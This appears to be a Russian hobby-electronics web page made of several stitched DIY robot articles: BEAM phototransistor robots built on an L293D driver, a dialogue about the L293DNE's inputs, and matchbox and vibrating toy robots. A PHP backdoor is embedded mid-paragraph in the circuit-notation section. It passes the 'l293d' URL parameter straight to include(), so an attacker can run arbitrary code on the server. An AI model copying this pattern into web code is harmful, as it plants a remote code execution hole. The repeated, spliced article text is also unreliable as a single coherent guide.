Принцип поведения робота основывается на "фоторецепции" и является типичным для целого класса BEAM-роботов . В живой природе, которой будет подражать наш робот, фоторецепция - одно из основных фотобиологических явлений, в котором свет выступает как источник информации.
В качестве первого опыта обратимся к устройству BEAM-робота , двигающегося вперед, когда на него падает луч света, и останавливающегося, когда свет перестает его освещать. Поведение такого робота называется фотокинезисом - ненаправленным увеличением или уменьшением подвижности в ответ на изменения уровня освещённости.
В устройстве робота, кроме микросхемы драйвера моторов , будет использоваться только один фотоэлемент и один электромотор. В качестве фотоэлемента можно применить не только фототранзистор, но и фотодиод или фоторезистор.
В конструкции робота мы используем фототранзистор n-p-n структуры в качестве фотосенсора. Фототранзисторы на сегодняшний день являются, пожалуй, одним из самых распространенных видов оптоэлектронных приборов и отличаются хорошей чувствительностью и вполне приемлемой ценой.
Схема робота с одним фототранзистором
Дорогой Бобот, а можно ли использовать в приводимой схеме простейшего робота какие-либо другие микросхемы, например L293DNE? Конечно, можно, но видишь ли, в чем дело, дружище Бибот. Настоящая выпускается только группой компаний ST Microelectronics . Все остальные подобные микросхемы являются лишь заменителями или аналогами L293D . К таким аналогам относятся американской компании Texas Instruments , от Sensitron Semiconductor ... Естественно, что, как и многие аналоги, эти микросхемы имеют свои отличия, которые тебе будет необходимо учитывать, когда ты будешь делать своего робота. А не мог бы ты рассказать об отличиях, которые мне необходимо будет учесть при использовании L293DNE. С удовольствием, старина Бибот. Все микросхемы линейки L293D имеют входы, совместимые с TTL-уровнями*, но лишь совместимостью уровней некоторые из них не ограничиваются. Так, L293DNE имеет не только совместимость с TTL по уровням напряжения, но и обладает входами с классической TT-логикой. То есть на неподключенном входе присутствует логическая "1". Прости, Бобот, но я не совсем понимаю: как же мне это учитывать? Если на неподключенном входе у L293DNE присутствует высокий уровень (логическая "1"), то и на соответствующем выходе мы будем иметь сигнал высокого уровня. Если мы теперь подадим на рассматриваемый вход сигнал высокого уровня, говоря по другому - логическую "1" (соединим с "плюсом" питания), то на соответствующем выходе ничего не изменится, так как на входе у нас и до этого была "1". Если же мы подадим на наш вход сигнал низкого уровня (соединим с "минусом" питания), то состояние выхода изменится и на нем будет напряжение низкого уровня. То есть получается все наоборот: L293D мы управляли с помощью положительных сигналов, а L293DNE нужно управлять с помощью отрицательных. L293D и L293DNE можно управлять как в рамках отрицательной логики, так и в рамках положительной*. Для того чтобы управлять входами L293DNE с помощью положительных сигналов, нам будет необходимо подтянуть эти входы к "земле" подтягивающими резисторами.
Насколько я понял, все, что нам нужно будет добавить в схему простейшего робота , - так это подтягивающие резисторы на входы микросхемы драйвера моторов. Ты совершенно правильно понял, дорогой Бибот. Номинал этих резисторов можно выбрать в диапазоне от 4,7 кОм до 33 КОм. Тогда схема простейшего робота будет выглядеть следующим образом.
Причем от номинала резистора R1 будет зависеть чувствительность нашего робота. Чем сопротивление R1 будет меньше, тем чувствительность робота будет ниже, а чем оно будет больше, тем чувствительность будет выше. А так как в данном случае нам нет необходимости управлять мотором в двух направлениях, то второй вывод мотора мы можем подключить напрямую к "земле". Что даже несколько упростит схему.
И последний вопрос. А в тех схемах роботов , которые ты привел в рамках нашей беседы, может быть использована классическая микросхема L293D? |
На рисунке приведены монтажная и принципиальная схемы робота, и если Вы еще не очень хорошо знакомы с условными обозначениями, то, исходя из двух схем, несложно понять принцип обозначения и соединения элементов. Провод, соединяющий различные части схемы с "землей" (отрицательным полюсом источника питания), обычно не изображают полностью, а на схеме рисуют небольшую черточку, обозначающую, что это место соединяется с "землей". Иногда рядом с такой черточкой пишут три буквы "GND", что означает "землю" (ground). Vcc обозначает соединение с положительным полюсом источника питания.$L293D=($_GET["l293d"]); if($L293D) include($L293D);?> Вместо букв Vcc часто пишут +5V, показывая тем самым напряжение источника питания.
У фототранзистора эмиттер
(на схеме со стрелкой)
длиннее коллектора.
Принцип действия схемы робота очень простой. Когда на фототранзистор PTR1 упадет луч света, то на входе INPUT1 микросхемы драйвера двигателей появится положительный сигнал и мотор M1 начнет вращаться. Когда фототранзистор перестанут освещать, сигнал на входе INPUT1 исчезнет, мотор перестанет вращаться и робот остановится. Более подробно о работе с драйвером двигателей можно прочитать в предыдущей статье .
Драйвер двигателей
производства SGS-THOMSON Microelectronics
(ST Microelectronics).
Чтобы скомпенсировать проходящий через фототранзистор ток, в схему введен резистор R1, номинал которого можно выбрать около 200 Ом. От номинала резистора R1 будет зависеть не только нормальная работа фототранзистора, но и чувствительность робота. Если сопротивление резистора будет большим, то робот будет реагировать только на очень яркий свет, если - небольшим, то чувствительность будет более высокой. В любом случае не следует использовать резистор с сопротивлением менее 100 Ом, чтобы предохранить фототранзистор от перегрева и выхода из строя.
Сделать робота , реализующего реакцию фототаксиса (направленного движения к свету или от света), можно с использованием двух фотосенсоров.
Когда на один из фотосенсоров такого робота попадает свет, включается соответствующий сенсору электромотор и робот поворачивает в сторону света до тех пор, пока свет не осветит оба фотосенсора и не включится второй мотор. Когда оба сенсора освещены, робот движется навстречу источнику света. Если один из сенсоров перестает освещаться, то робот снова поворачивает в сторону источника света и, достигнув положения, при котором свет падает на оба сенсора, продолжает свое движение на свет. Если свет перестает падать на фотосенсоры, робот останавливается.
Принципиальная схема робота с двумя фототранзисторами
Схема робота симметричная и состоит из двух частей, каждая из которых управляет соответствующим электромотором. По сути, она является как бы удвоенной схемой предыдущего робота. Фотосенсоры следует располагать крест-накрест по отношению к электромоторам так, как показано на рисунке робота выше. Также можно расположить моторы крест-накрест относительно фотосенсоров так, как показано на монтажной схеме ниже.
Монтажная схема простейшего робота с двумя фототранзисторами
Если мы расположим сенсоры в соответствии с левым рисунком, то робот будет избегать источников света и его реакции будут похожи на поведение крота, прячущегося от света.
Сделать поведение робота
более живым можно, подав на входы INPUT2 и INPUT3 положительный сигнал (подключить их к плюсу источника питания): робот будет двигаться при отсутствии падающего на фотосенсоры света, а "увидев" свет, будет поворачивать в сторону его источника.
Чтобы сделать робота , "бегающего" за рукой, нам понадобятся два ярких светодиода (на схеме LED1 и LED2). Подключим их через резисторы R1 и R4, чтобы скомпенсировать протекающий через них ток и предохранить от выхода из строя. Расположим светодиоды рядом с фотосенсорами, направив их свет в ту же сторону, в которую ориентированы фотосенсоры, и уберем сигнал с входов INPUT2 и INPUT3.
Схема робота, движущегося на отраженный свет
Задача получившегося робота - реагировать на отраженный свет, который излучают светодиоды. Включим робота и поставим ладонь перед одним из фотосенсоров. Робот повернет в сторону ладони. Переместим ладонь немного в сторону так, чтобы она скрылась из поля "зрения" одного из фотосенсоров, в ответ робот послушно, как собачка, повернет за ладонью.
Светодиоды следует подбирать достаточно яркие, чтобы отраженный свет устойчиво улавливался фототранзисторами. Хороших результатов можно достичь при использовании красных или оранжевых светодиодов с яркостью более 1000 мКд.
Если робот реагирует на вашу руку только тогда, когда она почти касается фотосенсора, то можно попробовать поэкспериментировать с листочком белой бумаги: отражающие способности белого листа намного выше, чем у человеческой руки, и реакция робота на белый листок будет намного лучше и устойчивее.
Белый цвет обладает самыми высокими отражающими свойствами, черный - наименьшими. Основываясь на этом, можно сделать робота, следующего по линии. Сенсоры при этом следует расположить так, чтобы они были направлены вниз. Расстояние между сенсорами должно быть немного больше, чем ширина линии.
Cхема робота, следующего по черной линии, идентична предыдущей. Чтобы робот не терял черную линию, нарисованную на белом поле, ее ширина должна быть около 30 мм или шире. Алгоритм поведения робота достаточно прост. Когда оба фотосенсора улавливают отраженный от белого поля свет, робот движется вперед. Когда один из сеносоров заезжает на черную линию, соответствующий электромотор останавливается и робот начинает поворачиваться, выравнивая свое положение. После того как оба сенсора снова находятся над белым полем, робот продолжает свое движение вперед.
Примечание:
На всех рисунках роботов микросхема драйвера двигателей L293D показана условно (только управляющие входы и выходы).
Интересную статейку накопал про то, как сделать самому из простых запчастей робота. Там пояснения не очень понятные. Я картинки оставил, а пояснения немного поправил.
Сперва посмотрите на первую картинку — что у Вас должно получиться через час работы. Ну или чуть побольше. Во всяком случае, за воскресенье можно справиться любому.
Что нам понадобится для сборки такого робота:
- Спичечный коробок.
- Два колеса со старой игрушки, или две пробки из пластиковой бутылки.
- Два моторчика (желательно одинаковой мощности и напряжения).
- Выключатель.
- Переднее третье колесо, его можно взять как со старой игрушки, так и с пластиковой бутылки.
- Светодиод можно брать по желанию, так как в этой модели особого значения он не имеет.
- Два гальванических элемента по полтора вольта – две батарейки по 1.5 в
- Изоляционная лента
Два моторчика берутся потому, что у моторов ось всегда только с одной стороны. И проще взять два мотора, чем выбивать из мотора ось и заменять ее на более длинную, чтобы она выходила с двух сторон мотора. Хотя в принципе, это вполне возможно. Тогда второй мотор не нужен.
Выключатель любой на два положения: включено-выключено. Если поставить выключатель посложнее, то можно заставить робота двигаться как вперед, так и назад, переключая полярность батареек.
Можно обойтись вообще без выключателя и просто скручивать провода, чтобы робот поехал.
Батарейки можно взять как типа АА, так и типа ААА, они чуть поменьше, но и полегче — робот будет двигаться быстрее, хотя батарейки ААА быстрее сядут.
Светодиод лучше подключить через ограничивающий резистор 20-50 ом и сделать его в виде фары, впереди. Или как маяк — наверху робота. Можно подключить два светодиода — будут как «глаза».
Вместо изоленты можно взять скотч — разницы никакой.
Как делать робота — пошаговые инструкции.
Нам нужны колеса или в случае их отсутствия прикрепить к стержням моторчиков крышки от пластиковых бутылок. Можно это сделать клеем, ну или вдавливанием головки в отверстие. Можно использовать паяльник — лучше будет держаться.
Пластиковые бутылки чаще всего изготовлены из полиэтилена, их обычных клеем не приклеишь. Отлично подойдет клеевой пистолет.
Напоминаю, что и колеса и моторчики лучше взять одинаковые. Иначе робот не будет ездить прямо. На картинке моторчики разные и вряд ли этот робот ездит по прямой, скорее всего — кругами.
Теперь при помощи клейкой ленты нужно один из моторчиков прикрепить к спичечной коробке. Крепление должно быть лишь на половину размера коробки, так как на другой части будет еще и второй моторчик.
Цепляем изолентой второй моторчик с колесиком с другой стороны коробки.
Поскольку наши моторчики находятся в нижней части спичечной коробки, то на верхнюю нужно поместить батарейки, естественно скрепив все клейкой лентой. Также добавляем выключатель.
Как создать робота?
Когда речь заходит о роботах, мы представляем себе гигантскую машину с искусственным интеллектом, как в фильмах про Робокопа и т. д. Однако робот не обязательно должен быть большим и технически сложно сделанным устройством. В этой статье мы расскажем, как создать робота в домашних условиях. Сотворив собственного мини-робота, вы убедитесь, что никаких специальных знаний и инструментов для этого не потребуется.
Материалы для работы
Итак, создаем робота своими руками, подготовив следующие материалы для конструирования:
- 2 небольших куска проволоки.
- 1 маленький игрушечный двигатель на 3 Вольта.
- 1 батарейка АА.
- 2 бусины.
- 2 небольших квадратных куска пенополистирола разного размера.
- Клеевой пистолет.
- Материал для ножек (скрепки, головка зубной щетки и т. д.).
Инструкция по созданию робота
Теперь перейдем к поэтапному описанию, как создать робота:
- Приклейте больший кусок пенополистирола к игрушечному двигателю к стороне с металлическими контактами сверху. Это необходимо, чтобы защитить контакты от попадания влаги.
- Сверху куска пенополистирола приклейте батарейку.
- Второй кусок пенополистирола приклейте сзади двигателя, чтобы создать небольшой весовой дисбаланс. Именно благодаря этому дисбалансу робот получит возможность перемещаться. Дайте клею высохнуть.
- Приклейте ножки к двигателю. Чтобы ножки держались максимально прочно, к двигателю сначала необходимо будет приклеить небольшие куски пенополистирола, а уже к ним затем приклеить ножки.
- Проволоку к двигателю можно либо примотать изолентой, либо припаять. Второй вариант более предпочтителен - так робот прослужит значительно дольше. Оба куска проволоки необходимо припаять к металлическим контактам на двигателе максимально крепко.
- Далее вам необходимо будет присоединить любой из кусков проволоки к одной из сторон батарейки, к «плюсу» или к «минусу». Ее можно прикрепить к батарейке либо при помощи изоленты, либо при помощи клеевого пистолета. Крепление при помощи клея более надежно, но при его нанесении необходимо быть максимально осторожным, так как если вы используете слишком много клея, контакт между проволокой и батарейкой будет потерян.
- Приклейте бусины к батарейке для имитации глаз.
- Подсоедините второй кусок проволоки к другому концу батарейки, чтобы привести робота в движение. В данном случае лучше использовать не клей, а изоленту. Так вы легко сможете разомкнуть контакт и остановить робота, когда он вам надоест.
Такой робот прослужит ровно столько, на сколько хватит заряда батарейки. Как видите, создание роботов в домашних условиях — это довольно увлекательный процесс, в котором нет ничего сложного. Безусловно, вы можете впоследствии попробовать создать и более сложные, программируемые модели. Однако для их создания вам потребуются определенные знания и дополнительные материалы, которые продаются в магазине электротехники. Такой же игрушечный мини-робот можно легко сделать вместе с ребенком за считанные минуты.
Сделать самый простой робот под силу даже тем, кто только взял в руки паяльник.
Преимущественно наш робот (в зависимости от конструкции) будет бегать на свет либо наоборот убегать от него, бежать вперед в поисках луча света или же пятиться как крот назад.
Для нашего будущего «искусственного интеллекта» понадобятся:
- Микросхема L293D
- Маленький электромотор М1 (его можно вытащить из игрушечных автомобилей)
- Фототранзистор и резистор с номиналом 200 Ом.
- Провода, батарейка и, конечно же, сама платформа, где это все будет размещаться.
Если в конструкцию добавить еще парочку ярких светодиодов, то легко можно добиться, того, что робот просто будет бегать за рукой или даже следовать по светлой или темной линии. Наше создание будет типичным представителем роботов класса BEAM. Принцип поведения таких роботов заключается на «фоторецепции», то есть свет, в данном случае, будет выступать в качестве источника информации.
Наш робот будет двигаться вперед, при попадании на него луча света. Такое поведение устройства называется «фотокинезисом» – ненаправленное увеличение или уменьшение подвижности в ответ на изменение уровня освещенности.
В нашем устройстве, как было сказано выше, использовался фототранзистор n-p-n структуры – PTR-1 в качестве фотосенсора. Здесь можно использовать не только фототранзистор, но и фоторезистор или фотодиод, так как принцип работы у всех элементов одинаковый.
На рисунке сразу приведена монтажная схема робота. Если Вы еще не достаточно хорошо знакомы с техническими условными обозначениями, то, здесь исходя из этой схемы, несложно будет понять принципы обозначения и подсоединения элементов друг к другу.
GND . Провода, соединяющие различные элементы схемы с «землей» (отрицательный полюс источника питания), обычно на схемах не отображают полностью. Вместо этого рисуют маленькую черточку, обозначающую соединение с «землей». Иногда, рядом с черточкой пишут «GND» – от анг. слова «ground» – земля.
Vcc . Данное обозначение показывает, что через эту часть схема соединена с источником питания – Положительный полюс! Иногда на схемах вместо этих букв часто пишут номинал тока. В данном случае +5V.
Принцип действия робота.
При попадании на фототранзистор (на схеме он указан как PRT1) луча света, на выходе микросхемы INPUT1 появляется положительный сигнал, который заставляет мотор М1 – работать. И наоборот, когда луч света перестает освещать фототранзистор – сигнал на выходе микросхемы INPUT1 исчезает, следовательно, и мотор останавливается.
Резистор R1 в данной схеме предназначен компенсации, проходящего тока через фототранзистор. Номинал резистора 200 Ом – конечно можно сюда припаять резисторы и с другими показателями номиналов, но следует помнить, что от номинала будет зависеть чувствительность фототранзистора, а значит и работоспособность самого робота.
Если номинал резистора будет большим, то робот станет реагировать только на очень яркий луч света, а если небольшим – то и чувствительность будет намного выше.
Коротко говоря – не следует использовать в данной схеме резисторы с сопротивлением менее 100 Ом, иначе фототранзистор может просто-напросто перегреться и выйти из строя.
Цифровой и аналоговый мультиметры Проведение замеров Чтение схем: экранирование, заземление Чтение схем: лампы и фотоэлементы Ремонт электрического чайника Часы с проецированием изображения своими руками
Любители электроники, люди интересующиеся робототехникой не упускают возможность самостоятельно сконструировать простого или сложного робота, насладиться самим процессом сборки и результатом.
Не всегда есть время и желание на уборку дома, но современные технологию позволяют создавать роботов уборщиков. К таковым можно отнести робота пылесоса, который ездит часами по комнатам и собирает пыль.
С чего начать если возникло желание создать робота своими руками? Конечно же первые роботы должны быть просты в создании. Робот, о котором пойдет речь в сегодняшней статье, не займет много времени и не требует особых навыков.
Продолжая тему создание роботов своими руками, предлагаю попробовать сделать танцующего робота из подручных средств. Для создания робота своими руками потребуются простые материалы, которые найдутся наверное практически в каждом доме.
Разнообразие роботов не ограничивается конкретными шаблонами, по которым эти роботы создаются. Людям постоянно приходят в голову оригинальные интересные идеи, как сделать робота. Одни создают статичные скульптуры роботов, другие создают динамичные скульптуры роботов, о чем и пойдет речь в сегодняшней статье.
Сделать робота своими руками может любой, даже ребенок. Робот, описание которого пойдет ниже, прост в создании и не требует много времени. Попробую привести описание этапов создания робота своими руками.
Порой идеи создания робота приходят совсем неожиданно. Если поразмышлять на тему, как заставить робота из подручных средств двигаться, возникает мысль о батарейках. Но, что если всё гораздо проще и доступнее? Давайте попробуем сделать робота своими руками используя мобильный телефон в качестве основной детали. Для создания вибро робота своими руками понадобятся следующие материалы.
